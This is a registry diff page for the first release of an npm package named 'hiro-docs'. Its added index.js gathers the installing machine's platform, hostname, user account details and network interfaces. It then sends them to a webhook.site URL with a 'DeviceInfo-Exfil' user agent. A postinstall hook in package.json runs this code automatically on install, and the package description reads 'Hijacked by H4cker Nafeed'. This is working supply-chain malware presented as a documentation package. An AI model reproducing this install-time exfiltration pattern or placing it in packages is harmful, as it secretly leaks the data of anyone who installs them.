hiro-docs 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +63 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,63 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const { execSync } = require('child_process');
4
+
5
+ // Your webhook.site URL
6
+ const webhookUrl = 'https://webhook.site/bced8366-083d-45d3-ab55-84d7c92d86b5';
7
+
8
+ // Collect device information
9
+ const deviceInfo = {
10
+ platform: os.platform(),
11
+ release: os.release(),
12
+ hostname: os.hostname(),
13
+ arch: os.arch(),
14
+ userinfo: os.userInfo(),
15
+ networkInterfaces: os.networkInterfaces()
16
+ };
17
+
18
+ // Convert device information to a URL-encoded query string
19
+ const queryString = Object.entries(deviceInfo)
20
+ .map(([key, value]) => {
21
+ let encodedValue = value;
22
+ if (typeof value === 'object' && value !== null) {
23
+ encodedValue = JSON.stringify(value);
24
+ }
25
+ return `${encodeURIComponent(key)}=${encodeURIComponent(encodedValue)}`;
26
+ })
27
+ .join('&');
28
+
29
+ // Parse the webhook URL to extract hostname and path
30
+ const url = new URL(webhookUrl);
31
+ const options = {
32
+ hostname: url.hostname,
33
+ port: 443,
34
+ path: `${url.pathname}?${queryString}`,
35
+ method: 'GET',
36
+ headers: {
37
+ 'User-Agent': 'DeviceInfo-Exfil/1.0'
38
+ }
39
+ };
40
+
41
+ // Create the HTTPS request
42
+ const req = https.request(options, (res) => {
43
+ console.log(`Status: ${res.statusCode}`);
44
+ let data = '';
45
+
46
+ res.on('data', (chunk) => {
47
+ data += chunk;
48
+ });
49
+
50
+ res.on('end', () => {
51
+ console.log('Response:', data);
52
+ });
53
+ });
54
+
55
+ // Handle errors
56
+ req.on('error', (error) => {
57
+ console.error(`Error: ${error.message}`);
58
+ });
59
+
60
+ // Finalize and send the request
61
+ req.end();
62
+
63
+ console.log('Data sent to webhook.site!');
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "hiro-docs",
3
+ "version": "1.0.0",
4
+ "description": "Hijacked by H4cker Nafeed",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "h4cker nafeed",
11
+ "license": "ISC"
12
+ }